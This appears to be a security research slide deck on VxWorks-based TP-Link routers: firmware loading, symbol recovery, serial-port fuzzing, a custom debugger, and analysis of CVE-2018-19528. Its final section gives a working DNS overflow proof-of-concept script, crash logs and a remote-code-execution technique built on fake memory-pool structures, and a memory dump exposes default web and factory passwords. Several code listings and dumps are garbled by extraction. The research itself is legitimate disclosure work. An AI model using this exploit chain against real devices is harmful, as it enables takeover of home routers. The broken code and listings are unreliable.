Dive into VxWorks Based IoT Device
Debug the Undebugable Device
Who Are We?

• Wenzhe Zhu (@dark_lbp)
• Pingan Galaxy Lab
• ICS/IoT

• Yu Zhou(@504137480)
• Ant-Financial Light-Year Security Lab
• Fuzzing/IoT/AI
Outline

• Introduction to VxWorks

• VxWorks firmware analyze

• Hunting vulnerabilities

• Build customized debugger – VxSerial Debugger

• Analyze and exploit vulnerabilities
Introduction VxWorks

• Embedded RTOS
  • First released in 1987 by Wind River
  • Closed-source

• [1996~2002] - VxWorks 5.x
• [2004~2009] - VxWorks 6.x
• [2014] - VxWorks 7
VxWorks Customers

- NASA JPL
- Boeing
- Siemens
- Rockwell Automation
- Huawei
- KUKA
Previous Research Papers

• 2010 - Shiny Old VxWorks Vulnerabilities - HD Moore
  • 4 Metasploit modules targeting WDB RPC
  • Weak password hash entropy

• 2012 - Reversing Industrial firmware for fun and backdoors - Ruben Santamarta
  • VxWorks firmware analyzing

• 2015 – Attacking VxWorks From stone age to interstellar - Yannick Formaggio & Eric Liu
  • CVE-2015-7599  RPC Integer overflow
  • Using WDB-RPC to detect and get crash information during fuzzing progress
XX-Link Router

2.4GHz频段
450Mbps畅享高速
450Mbps无线路由器 TL－WR886N
Breaking HW

Main CPU – MIPS 32bit
(Qualcomm TP9345-AL3A)

SPI Flash

UART
U-Boot Information

Load vxWorks.bin from flash
VxWorks CmdTask Commands

Memory read/write command

Flash read/write command
Memory Read/Write Command

```
# mem
# mem --show [sys | data | object]
# mem --dump start size
# mem --md start value
#
# --show
# Displays allocated/free memory blocks and size.
# --dump
# dump specify memory block.
# --md
# copy specify memory block to specify address.
#
# --start
# Start address of specify memory block, in hex.
# --size
# Size of specify memory block, in hex.
# --value
# value in UNT32 format.
#--object
# end object, e.g. eth0.
#
# Example:
#   mem --dump 00010000 1000 ... Show memory block start at 0x00010000 which size of 4k.
#   mem --show eth1 ... Show netpool of end object eth1.
```

Memory dump command

Memory data
Flash Command

```
# flash
# flash -la
# flash -er
# flash -re
# flash -wr
# # -layout
# # -erase
# # -read
# # -write
# # -off
# # len
# # buffer
# #
FLASH Layout:
# 0x00000000(0.0K)
# 0x00002000(128.0K)
# 0x00002000(128.0K)
# 0x00002000(128.0K)
# 0x00002100(132.0K)
# 0x00002000(128.0K)
# 0x00025000(168.0K)
# 0x00031000(199.5K)
# 0x00032000(208.0K)
# 0x00020000(2048.0K)
```
Analyze VxWorks Firmware
Preparatory Works Before Analyze VxWorks Firmware

• Locate VxWorks image load address

• Locate symbols from firmware and rename functions in IDA
Method 1 - Read From Image Header
## TPHEAD in Flash Dump

Load address and entry point address is 0x80001000
Method 2 - Locate Initial Stack
VxWorks Image in MIPS Memory Layout

Figure 4  VxWorks Image in MIPS Memory Layout

VxWorks image load address

Initial Stack start address

Memory High Address

Memory Low Address
Initial Stack Description

- **Exception Vectors.** Table of exception and interrupt vectors. It is located at LOCAL_MEM_LOCAL_ADRS.

- **Initial Stack.** Initial stack set up by `romInit()` and used by `usrInit()` until `usrRoot()` has allocated the stack. Its size is determined by STACK_SAVE.

- **System Image.** The VxWorks image entry point. The VxWorks image consists of three segments: .text, .data, and .bss.

- **Interrupt Stack.** The stack used by interrupt service routines. Its size is determined by ISR_STACK_SIZE. It is placed at the end of the VxWorks image, just after the .bss segment.

- **System Memory Pool.** The memory allocated for system use. The size of the memory pool is dependent on the size of the system image and interrupt stack. The end of the system memory pool is determined by `sysMemTop()`.
usrInit() is the first C code executed after the system boots.
VxWorks Image Startup Codes

Correct load address is 0x80001000

Set Initial Stack to 0x80000ff0

Jump to usrInit
Other Methods

• Read the boot Info from UART
• Read the developer document
• Use bss end address - image size to calculate the load address
• ...

Load Image With Correct Address In IDA

Load image to 0x00

Load image to 0x80001000
Preparatory Works Before Analyze VxWorks Firmware

- Locate VxWorks image load address
- Locate symbols from firmware and rename functions in IDA
Compiled-in Symbol Table In VxWorks 5.5 Image

<table>
<thead>
<tr>
<th>DECIMAL</th>
<th>HEXAD</th>
<th>Symbol name</th>
<th>Symbol address</th>
<th>Symbol type (flag)</th>
</tr>
</thead>
<tbody>
<tr>
<td>2054252</td>
<td>0x1F54252</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2088936</td>
<td>0x1F54252</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2108532</td>
<td>0x1F54252</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2110048</td>
<td>0x1F54252</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2115564</td>
<td>0x1F54252</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2119528</td>
<td>0x1F54252</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2119912</td>
<td>0x1F54252</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>21192512</td>
<td>0x1F54252</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>21192580</td>
<td>0x1F54252</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>21211604</td>
<td>0x1F54252</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2225264</td>
<td>0x1F54252</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2231952</td>
<td>0x1F54252</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>3118988</td>
<td>0x1F54252</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>3126628</td>
<td>0x1F54252</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>3153524</td>
<td>0x1F54252</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Stand Alone Symbol File From Firmware

Symbol file length
Symbol count
Symbol data

Symbol Name table Addrss = 0x08 + 0x08 * 0x13ef = 0x9f80
load Symbols

6694 functions Now
Hidden Shell Command Parameter
CmdTask Command Register Codes

P1: Add mem command to cmdTask
P2: Command description
P3: Command parser
system Command Help

# system
# system -reboot reboot device
# system -reset reset device
# system -station count local stations
# system -debug level:level/addid:id/rmvid:id/addall/cleanall
# Example:
# system -debug level:1 ....
#
system Command Parser Code

match reboot

match reset

moduletreet???
Hidden Parameter - moduletreetree

# system -moduletree
Data module tree.
|--network(module)
|  |--table interface  private check 0
|  |  |--section lan
|  |  |  |--table user_route  public check 16
|  |  |  |  |--option target
|  |  |  |  |  |--option netmask
|  |  |  |  |  |  |--option gateway
|  |  |  |--table dyn_route  public check 32
|  |  |  |--table sys_route  public check 64
|  |  |  |--table wan_status  private check 0
|  |  |  |--section wan_status
|  |  |  |  |--table lan_status  private check 0
|  |  |  |  |--section lan_status
|  |  |  |  |  |--action apply_lan_config
|  |  |  |  |  |  |--action route
|  |  |  |  |  |  |  |--action igmp
|  |  |  |  |  |  |  |  |--action dnsProxy
|  |  |  |  |  |  |  |  |  |--action domain
|  |  |  |  |  |  |  |  |  |  |--action detect_wan_prot
|  |  |  |  |  |  |  |  |  |  |  |--action change_wan_status
|  |  |  |  |  |  |--uhhptpd(module)
|  |  |  |  |  |  |  |--table uhhptpd  private check 0
|  |  |  |  |  |  |  |  |--section main
|  |  |  |  |  |  |  |  |  |  |--table webPwd  private check 0

 псевдокод

```json
{"uhhptpd":{"main":{"listen_http_lan":"80","listen_http_wan":"8888"}},"webPwd":{"webPwd":"yHL8oQry9Tefbwk","fac_password":"WaO7xbhc9Tefbwk"}}
```

809BF7A0: 78 22 75 68 74 74 70 64 - 22 3A 7B 22 6D 61 69 6F 80BF7B0: 22 3A 7B 22 6C 69 73 74 - 65 6E 5F 68 74 74 70 65 809BF7C0: 6C 61 6E 22 3A 22 38 30 - 22 2C 22 6E 69 73 74 65 809BF7D0: 6E 5F 68 74 74 70 5F 77 - 61 6E 22 3A 22 38 32 38 809BF7E0: 38 22 7D 7D 2C 22 77 70 - 62 50 77 64 22 3A 7B 22 809BF7F0: 77 65 62 50 77 64 22 3A - 7B 22 70 61 73 73 77 6F 809BF800: 72 64 22 3A 22 79 48 4C - 38 6F 51 72 79 39 54 65 809BF810: 22 62 77 74 48 22 2C 22 66 - 61 63 5F 70 61 73 73 77 809BF820: 6F 72 64 22 3A 22 57 61 - 51 37 78 62 68 63 39 54 809BF830: 65 66 62 77 48 22 7D 7D - 70 00 25 07 51 E0 E9 B9

Read 153 bytes to fd 19
Hidden Parameter - symble

```
# system -symble
symbol name: testmode_eventWriteHwId, value: 0x800472d8.
symbol name: taskPriRangeCheck, value: 0x80244488.
symbol name: sysctl_children, value: 0x80252ac4.
symbol name: intLock, value: 0x80001ae0.
symbol name: ieee80211_scan_get_requestor_name, value: 0x8000bc74.
symbol name: ieee80211_node_latedetach, value: 0x80033250.

symbol name: ieee80211_create_infra_bss, value: 0x80055bc.
symbol name: flashDrvRegist, value: 0x8010e684.
symbol name: excInit, value: 0x8010218c.
symbol name: conntrackVersion, value: 0x800a9ea4.
symbol name: cloudComGetDnsServerIp, value: 0x801d08d0.
symbol name: chkResetVerCCodeRequestHandle, value: 0x801374bc.
symbol name: cache4kcBCacheSize, value: 0x80021f474.
symbol name: ath_hal_chan2_clock_rate_mhz, value: 0x8019bb24.
symbol name: arpDeleteEntry, value: 0x80000068.
symbol name: ar9300_tx_req_intr_desc, value: 0x801af8c4.
symbol name: ar9300_reset_tx_status_ring, value: 0x801af078.
symbol name: SSLCheckDomainName, value: 0x80183978.
symbol name: tcp_ccgen, value: 0x8025399c.
symbol name: sysctl_node, value: 0x80272c38.
symbol name: sysExchMsg, value: 0x80245030.
symbol name: syscallTableEntry, value: 0x800010c4.
symbol name: strcpy, value: 0x800fffc98.
symbol name: stmacMgtFindRuntimeEntryById, value: 0x80169784.
symbol name: sigEvtRtn, value: 0x8025803c.
symbol name: routedomain, value: 0x80243fc.
symbol name: pppCcpResolveRtn, value: 0x8003eeec.
```
Hunting Vulnerabilities
Memory Fuzzing Design

- Written in C and converted to MIPS assembly
- Write assembly code to the router through the serial port
Fuzzing Approaches

• Generation Based
  • Data Fields
    • byte ubyte
    • short ushort
    • int uint
    • string
  • Calculated Fields
    • checksum
    • size

• Mutation Based
  • Random byte flip
Grammar Design

<table>
<thead>
<tr>
<th>operation</th>
<th>data type</th>
<th>endian</th>
<th>value</th>
<th>depends</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

- Operation
  - data size cksum
- Data type
  - byte short int ...
- Endian
  - big-endian(1) little-endian(0)
- Value
- Depends
  - the area that the size or checksum operation depends on
Crash Detection

`excHookAdd( )`

**NAME**

`excHookAdd( )` – specify a routine to be called with exceptions

**SYNOPSIS**

```c
void excHookAdd
{
    FUNCPTTR excepHook /* routine to call when exceptions occur */
}
```

**DESCRIPTION**

This routine specifies a routine that will be called when hardware exceptions occur. The specified routine is informed about the error. Upon return from the specified routine, the task that incurred the error is suspended.

The exception handling routine should be declared as:

```c
void myHandler
{
    int    task, /* ID of offending task */
    int    vecNum, /* exception vector number */
    ESFxx *peaf /* pointer to exception stack frame */
}
```

where `task` is the ID of the task that was running when the exception occurred. `ESFxx` is architecture-specific; for example, the PowerPC uses ESFPPC.

This facility is normally used by `dbgLib()` to activate its exception handling mechanism. If an application program requires this, it must call `excHookAdd()`.

**RETURNS**

N/A
Fuzzing Targets

- Parser functions
  - json xml url ...

- Protocols
  - http dns upnp ...
DNS Example

```python
grammar = ""
grammar += "|data,ushort,1,0xe093,x," # Transaction Id
grammar += "|data,ushort,1,0x0100,x," # Flags
grammar += "|data,ushort,1,0x0001,x," # Questions
grammar += "|data,ushort,1,0x0000,x," # Answer RRs
grammar += "|data,ushort,1,0x0000,x," # Authority RRs
grammar += "|data,ushort,1,0x0000,x," # Additional RRs
grammar += "|size,ubyte,1,0x07,0x00," # Domain1
grammar += "|data,string,1,tplogin,x,"
grammar += "|size,ubyte,1,0x02,0x00," # Domain2
grammar += "|data,string,1,cn,x,"
grammar += "|data,ubyte,1,0x00,x," # End
grammar += "|data,ushort,1,0x0001,x," # Type
grammar += "|data,ushort,1,0x0001,x," # Class
```
DNS Example

Tlb Load Exception
Exception Program Counter: 0x800a64ac
Status Register: 0x0000f400
Cause Register: 0x00000008
Access Address : 0x78d72bce
Task: 0x80fe3c30 "tNetTask"
writeSector(364): =====>flash 1DC000(sector 2), len 29141.

#

More fuzzing results: https://github.com/PAGalaxyLab/VulInfo/tree/master/TP-Link/WR886N
Debug The Target
How Can We Debug IT?

• Undebuggable
  • No WDB, no command line debugger, no JTAG
  • No known solution

• Possibility
  • Target running in kernel mode
  • We can read/write kernel memory
  • We have firmware with symbols
VxSerial Debugger

• Python and instruction based debugger

• Depends
  • Keystone - Generation machine code dynamically
  • Capstone – Disassembly codes from memory
  • Scapy - Parse various data structures in memory

• Support function
  • Set breakpoint
  • Read/Write memory
  • Task status viewer(stacks, register)
  • VxWorks structs viewer(netpool, mBlk, etc)
  • ......
Debug Shellcode

OverWrite Break Point code

1. `addiu $sp, -0x100`
2. `sw $ra, 0x04($sp)`
3. `jal 0x800A88A4`
4. `NOP`

Debug Loop Code

1. `sw $zero, 0x00($sp)`
2. `sw $at, 0x20($sp)`
3. `sw $v0, 0x24($sp)`
4. `......`
5. `lw $at, 0x20($sp)`
6. `lw $v0, 0x24($sp)`
7. `......`
8. `addiu $ra, -0x10`
9. `addiu $sp, 0x100`
10. `jr $ra`
11. `lw $ra, 0x04-0x100($sp)`

Branch delay slot

Set debug flag to zero
Save registers to stack
Keep loop untial debug flag set to 1
Restore registers from stack
Restore sp, ra registers Jump back
Debug Loop Codes

- **Debug Flag == 2**: Set Debug Flag to 0.
- **Debug Flag == 1**: Proceed to Update Cache.
- **Quit Loop**

**Update Cache**

**Debug Stack**

- Reserve: $0x98 - $0x100
- Original registers: $0x18 - $0x94
- Cache update Parameters: $0x08 - $0x14
- Original $fra
- Debug Flag
- SP

Flip Parameters
Default Breakpoint Output

Registers value

Task stack

Assembly codes

Back trace
Condition Breakpoint(CallBack)

Break point parameters

```python
def add_breakpoint(self, bp_address, bp_type=0, condition=None):
    """
    :param bp_address: Break point address you want to Add.
    :param bp_type: 0 = normal break point should will keep
    1 = tarp break point, used to keep normal break point add automatically.
    will be removed after hit normal break point.
    :param condition: condition function, function return True to break, False to continue.
    :return: True if break point added, False otherwise.
    """
    if self.is_bp_in_black_list(bp_address):
        return False
    if bp_type == 0:
        self.logger.info("Add breakpoint at %s" % hex(bp_address))
        # create break point asm
        asm_data = self.create_bp_asm(bp_address)
        if not asm_data:
            self.logger.error("Can't create break point asm")
            return False
        asm_length = len(asm_data)
        # get original_asm
        original_asm = self.get_mem_dump(bp_address, asm_length)
        bp_asm_code = self.disassemble(original_asm, bp_address, CS_ARCH_MIPS, CS_MODE_MIPS32, 0)
        self.logger.debug("original_asm: %s" % original_asm)
        self.bp_overwrite_size = asm_length
```

Custom condition function

```python
def call_back_80153456(target, task, breakpoint):
    target.logger.info("call back 1")
    a0 = int(target.current_task_regs[task]["a0"], 16)
    print("\x{:016x}", format(condition(mblk), width=80))
    print("\x{:016x} % hex(a0))")
    mblk_hdr_data = target.get_mem_dump(a0, 0x30)
    mblk_hdr = mblk_hdr(mblk_hdr_data)
    mblk_hdr.show()
    print("\x{:016x}:")
    mData = target.get_mem_dump(mblk_hdr.mData, 0x100)
    flag = True
    if mData[2] == \x:x5xx00000":
        mPacket = IPv4(mData)
    elif mData[2] == \x:x41x41:
        mPacket = Raw(mData)
    else:
        mPacket = Ether(mData)
    flag = False
    mPacket.show()
    print("\x{:016x} % mData.encode("hex"))")
    cblk_hdr_addr = struct.unpack("II", target.get_mem_dump(a0 + 0x30, 0x40))[0]
    cblk_hdr_data = target.get_mem_dump(cblk_hdr_addr, 0x30)
    cblk_hdr = cblk(cblk_hdr_data)
    # Print the cblk Structs
    cblk_hdr.show()
    return flag
```

Show the output packet using python-scapy
Condition Breakpoint(CallBack)

Get packet address from MBlk header

Print packet data

VyWorks MBlk header
Analyze Vulnerabilities
### CVE-2018-19528 DNS Request Buffer Overflow

<table>
<thead>
<tr>
<th><strong>CVE-ID</strong></th>
<th><strong>CVE-2018-19528</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Learn more at National Vulnerability Database (NVD)</strong></td>
<td></td>
</tr>
<tr>
<td>- CVSS Severity Rating</td>
<td></td>
</tr>
<tr>
<td>- Fix Information</td>
<td></td>
</tr>
<tr>
<td>- Vulnerable Software Versions</td>
<td></td>
</tr>
<tr>
<td>- SCAP Mappings</td>
<td></td>
</tr>
<tr>
<td>- CPE Information</td>
<td></td>
</tr>
</tbody>
</table>

**Description**

TP-Link TL-WR886N 7.0 1.1.0 devices allow remote attackers to cause a denial of service (Tlb Load Exception) via crafted DNS packets to port 53/udp.

**References**

- MISC: [https://github.com/PAGalaxyLab/VulInfo/blob/master/TP-Link/WR886N/dns_request_buff_overflow/README.md](https://github.com/PAGalaxyLab/VulInfo/blob/master/TP-Link/WR886N/dns_request_buff_overflow/README.md)

**Assigning CNA**

MITRE Corporation

**Date Entry Created**

20181125

_Disclaimer: The entry creation date may reflect when the CVE ID was allocated or reserved, and does not necessarily indicate when this vulnerability was discovered, shared with the affected vendor, publicly disclosed, or updated in CVE._

**Phase (Legacy)**

Assigned (20181125)

**Votes (Legacy)**

**Comments (Legacy)**

**Proposed (Legacy)**

N/A

This is an entry on the [CVE List](https://cve.mitre.org), which provides common identifiers for publicly known cybersecurity vulnerabilities.
Vulnerability Description

• Our target router will use `domainFilter` function to filter all dns request packets and resolve `tplogin.cn` domain name to it’s own IP address by directly modifying the original request packet in `netBufLib` Memory Pool.
Packet In netBufLib Memory Pool

Figure A-1: Presentation of Two Packets in One mBlk Chain

```
typedef struct mHdr
{
    struct mBlk * mNext;  /* next buffer in chain */
    struct mBlk * mNextPkt; /* next chain in queue/record */
    char * mData;  /* location of data */
    int mLcn;  /* amount of data in this mBlk */
    UCHAR mType;  /* type of data in this mBlk */
    UCHAR mFlags;  /* flags; see below */
    USHORT reserved;
} M_BLK_HDR;
```
What Does domainFilter Do?

Direct modify request dns packet in Mblk

```
80153360 li    s1, i
80153364 li    $v0, 0xFFFFCC00
80153368 jal   memory
8015336c sh    $v0, 0x70+var_58($sp)
80153370 addiu  $a0, $s0, 2
80153374 move   $s1, $s1
80153378 li    $a2, 2
8015337c addi  $a3, $s0, 0x70+var_54
80153380 jal   memory # Type: A 0001
80153384 sh    $a3, 0x70+var_58($sp)
80153388 addiu  $a0, $s0, 4
8015338c move   $s1, $s1
80153390 li    $a2, 2
80153394 jal   memory # Class: IN 0x0001
80153398 sh    $a3, 0x70+var_54($sp)
8015339c addiu  $a0, $s0, 6
801533a0 move   $s1, $s1
801533a4 li    $a2, 2
801533a8 jal   memory # TTL: 0x00000001
801533ac sw    $a3, 0x70+var_54($sp)
801533b0 move   $s1, $s1
801533b4 addiu  $a0, $s0, 0x2
801533b8 li    $a2, 2
801533bc addi  $a3, $s0, 0x70+var_38($sp)
801533c0 jal   memory # Data Length: 0x04
801533c4 sh    $v0, 0x70+var_58($sp)
801533c8 lw    $v1, 0x70+var_30($sp)
801533cc li    $a2, 4
801533d0 addiu  $a0, $s0, 0xC
801533d4 move   $s1, $s1
801533d8 jal   memory # Address: 192.168.1.1
801533dc sw    $v1, 0x70+var_54($sp)
801533d0 lhu   $a1, 4($s2)
801533d4 move   $s0, $s4
801533d8 jal   checksum # fix UDP checksum
```

Call ip_output to send modified packet

```
80153388 jal   checksum # fix UDP checksum
8015338c addiu  $a1, 0xC
80153390 sh    $v0, 6($a2)
80153394 li    $v0, 0x70+var_2C($sp)
80153398 lw    $a0, 0x70+var_30($sp)
8015339C li    $v0, 0x70+var_30($sp)
801533A0 addiu  $a0, 0x70+var_68($sp)
801533A4 li    $a1, 0x11
801533A8 sw    $a0, 0x70+var_64($sp)
801533AC move   $s1, 0x70+var_60($sp)
801533B0 li    $a1, 0xF
801533B4 addiu  $a0, 0x70+var_64($sp)
801533B8 sb    $s0, 0x70+var_60($sp)
801533C0 addiu  $v1, $s0, 0x3D
801533C4 sw    $v1, 0x1C($s7)
801533C8 move   $a0, 0x70+var_60($sp)
801533CC addiu  $a0, 0x70+var_54($sp)
801533D0 move   $s1, $s5
801533D4 jal   checksum # fix UDP checksum
801533DC move   $s0, $s4
801533E0 li    $v1, 0x70+var_64($sp)
801533E4 move   $s0, $s4
801533E8 jal   checksum # fix UDP checksum
```
It’s Time To Debugging The POC

```python
# !/usr/bin/env python2
# coding=utf-8
import ...

host = '192.168.1.1'
port = 53

dns_request_packet = 'cb63010000010000000000000000774706c6f67696e02636e0000010001'.decode('hex')
# Make packet Bigger than MTU
poc = dns_request_packet + 'A' * (1480 - len(dns_request_packet))
# Add more data to packet
poc += 'ABC\x20' * 100

if __name__ == '__main__':
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.connect((host, port))
    sock.send(poc)
```
Packet(Cluster) Data Modified By domainFilter

Packet data before modify

Packet data after modify

From Crafted DNS Request Packet

To DNS Response Packet
MBLK Header Modified By domainFilter

Mblk header before modify

```
### [ mblk ]###
## mblkHdr ##
###

mNext = 0x80e6fc74
mNextPkt = 0x0
mData = 0x80c5a94
mLen = 0x50dc
mType = M_FREE(0x00)
mFlags = M_EXT(0x01)
reserved = 0x403

Mblk data length is 1500
```

Mblk header after modify

```
### [ mblk ]###
## mblkHdr ##
###

mNext = 0x80e6fc74
mNextPkt = 0x0
mData = 0x80c5a94
mLen = 0x4e8
mType = M_FREE(0x00)
mFlags = M_EXT(0x01)
reserved = 0x403

Mblk data length is 72
```
ip_output -> ip_deliver_packet -> connection_pullup (Root Cause Found)

Request size = Modified mBlk length(0x48) + 0x20
**netTupleGet**

**netTupleGet parameters**

```
<table>
<thead>
<tr>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>s0</td>
<td>0</td>
</tr>
<tr>
<td>s1</td>
<td>0</td>
</tr>
<tr>
<td>s2</td>
<td>0000000000000000</td>
</tr>
<tr>
<td>s3</td>
<td>0</td>
</tr>
<tr>
<td>s4</td>
<td>0</td>
</tr>
<tr>
<td>t0</td>
<td>0</td>
</tr>
<tr>
<td>t1</td>
<td>0</td>
</tr>
<tr>
<td>t2</td>
<td>0</td>
</tr>
<tr>
<td>t3</td>
<td>0</td>
</tr>
<tr>
<td>t4</td>
<td>0</td>
</tr>
<tr>
<td>t5</td>
<td>0</td>
</tr>
<tr>
<td>t6</td>
<td>0</td>
</tr>
<tr>
<td>t7</td>
<td>0</td>
</tr>
<tr>
<td>t8</td>
<td>0</td>
</tr>
</tbody>
</table>
```

**Mblk returned by netTupleGet**

- **Request size is 104**
- **Returned cSize is 128**
Copy Modified Mblk Chain Data Using netMblkToBufCopy

netMblkToBufCopy()

NAME

netMblkToBufCopy() - copy data from an mBlk to a buffer

SYNOPSIS

int netMblkToBufCopy

M_BLK_ID pMblk, /* pointer to an mBlk */
char * pBuffer, /* pointer to the buffer to copy */
FUNC_PTR pCopyRtn /* function pointer for copy routine */

DESCRIPTION

This routine copies data from the mBlk chain referenced in pMblk to the buffer referenced in pBuffer. It is assumed that pBuffer points to enough memory to contain all the data in the entire mBlk chain. The argument pCopyRtn expects either a NULL or a function pointer to a copy routine. The arguments passed to the copy routine are source pointer, destination pointer and the length of data to copy. If pCopyRtn is NULL, netMblkToBufCopy() uses a default routine to extract the data from the chain.

RETURNS

The length of data copied or zero.

SEE ALSO

netBufLib
Copy Chain Data To Target Buffer

netMblkToBufCopy Parameters

Add break point

Modified mblk

Target buffer address
Buffer Data (Cluster) Before Copy

- Buffer data (cluster)
- Tapool address
- Point to another cluster
- Other cluster
- Point to another cluster
Buffer Data (Cluster) After Copy

To (16): print(target.send_and_recvuntil(0x00, 0x00, 0x00, 0x00))
mem -dump 0x00fc64a0 400

80FC64A0: 09 00 0A 74 70 6C 6F 67 - 80 FA 2D C0 80 FC 64 28
80FC64B0: 00 00 00 00 78 11 9F CA - 80 E7 04 8C 45 00 00 48
80FC64C0: 00 00 40 00 80 11 76 88 - C0 A8 01 01 C0 A8 01 C8
80FC64D0: 00 35 E9 FC 00 34 01 7B - CB 63 81 00 00 01 00 01
80FC64E0: 00 00 00 00 07 74 70 6C - 6F 67 69 6E 02 63 66 00
80FC64F0: 00 01 00 01 C0 0C 0C 01 - 00 01 00 00 00 01 00 01
80FC6500: C0 A8 01 01 41 42 43 41 - 41 41 41 41 41 42 43 20
80FC6510: 41 42 43 20 41 42 43 20 - 41 42 43 20 41 42 43 20
80FC6520: 41 42 43 20 41 42 43 20 - 41 42 43 20 41 42 43 20
80FC6530: 41 42 43 20 41 42 43 20 - 41 42 43 20 41 42 43 20
80FC6540: 41 42 43 20 41 42 43 20 - 41 42 43 20 41 42 43 20
80FC6550: 41 42 43 20 41 42 43 20 - 41 42 43 20 41 42 43 20
80FC6560: 41 42 43 20 41 42 43 20 - 41 42 43 20 41 42 43 20
80FC6570: 41 42 43 20 41 42 43 20 - 41 42 43 20 41 42 43 20
80FC6580: 41 42 43 20 41 42 43 20 - 41 42 43 20 41 42 43 20
80FC6590: 41 42 43 20 41 42 43 20 - 41 42 43 20 41 42 43 20
80FC65A0: 41 42 43 20 41 42 43 20 - 41 42 43 20 41 42 43 20
80FC65B0: 41 42 43 20 41 42 43 20 - 41 42 43 20 41 42 43 20
80FC65C0: 41 42 43 20 41 42 43 20 - 41 42 43 20 41 42 43 20
80FC65D0: 41 42 43 20 41 42 43 20 - 41 42 43 20 41 42 43 20
80FC65E0: 41 42 43 20 41 42 43 20 - 41 42 43 20 41 42 43 20
80FC65F0: 41 42 43 20 41 42 43 20 - 41 42 43 20 41 42 43 20
80FC6600: 41 42 43 20 41 42 43 20 - 41 42 43 20 41 42 43 20
80FC6610: 41 42 43 20 41 42 43 20 - 41 42 43 20 41 42 43 20
80FC6620: 41 42 43 20 41 42 43 20 - 41 42 43 20 41 42 43 20
80FC6630: 41 42 43 20 41 42 43 20 - 41 42 43 20 41 42 43 20
80FC6640: 41 42 43 20 41 42 43 20 - 41 42 43 20 41 42 43 20
Crash Logs

Crash in `_clBlkFree` function

TLB Load Exception
Exception Program Counter: 0x800bb2e8
Status Register: 0x0000f400
Cause Register: 0x00000008
Access Address: 0x41424344
Task: 0x8094ebf0 "inetd"
writeSector(364): =====> flash 1DC000(sector 2), len 4232.

Crash in `excExcHandle` function

# TLB Load Exception
Exception Program Counter: 0x800a64ac
Status Register: 0x0000f400
Cause Register: 0x00000008
Access Address: 0x42434469
Task: 0x80fe3c30 "tNetTask"
writeSector(364): =====> flash 1DC000(sector 2), len 25352.
Exploit - Overwrite Arbitrary Bit Value To 1 In _clBlkFree Function

1. Get clpool address from cluster
2. Get netpool address from clpool
3. Update clSizeMax in netpool (clSizeMax |= 1 << clpool.cLg2)
Example Exploit Data

```python
print(target.send_and_recvuntil(lambda: dump(0x80fc64a0, 400)))
```

- **Buffer data (cluster)**
- **Tapool address**
- **Overwrite next cluster address to fake cluster address**
**Fake clpool and cluster Example**

<table>
<thead>
<tr>
<th>Fake Clpool 1</th>
<th>Clpool address for fake cluster 1</th>
<th>Bit offset of target address(low - high)</th>
<th>Next fake cluster address</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x80297000</td>
<td>0x80297000</td>
<td>Bit offset of target address(low - high)</td>
<td>Next fake cluster address</td>
</tr>
<tr>
<td></td>
<td>0x80297020</td>
<td>Clpool address for fake cluster 2</td>
<td>Next fake cluster address</td>
</tr>
<tr>
<td></td>
<td>0x80297030</td>
<td>0x80297030</td>
<td>Next fake cluster address</td>
</tr>
<tr>
<td></td>
<td>0x80297040</td>
<td>0x80297040</td>
<td>Next fake cluster address</td>
</tr>
</tbody>
</table>

**Fake netpool address**

<table>
<thead>
<tr>
<th>Fake netpool address</th>
<th>Clpool address for fake cluster 1</th>
<th>Bit offset of target address(low - high)</th>
<th>Next fake cluster address</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x80297000</td>
<td>0x80297000</td>
<td>Bit offset of target address(low - high)</td>
<td>Next fake cluster address</td>
</tr>
<tr>
<td>0x80297020</td>
<td>0x80297020</td>
<td>Clpool address for fake cluster 2</td>
<td>Next fake cluster address</td>
</tr>
<tr>
<td>0x80297030</td>
<td>0x80297030</td>
<td>0x80297030</td>
<td>Next fake cluster address</td>
</tr>
<tr>
<td>0x80297040</td>
<td>0x80297040</td>
<td>0x80297040</td>
<td>Next fake cluster address</td>
</tr>
</tbody>
</table>
Exploit – Bit Overwrite To RCE Using Exception Hook
excExcHandle Function Codes

Default _func_execBasehook is zero. We can overwrite hook address to our shell code address

Execute shellcode
Thanks!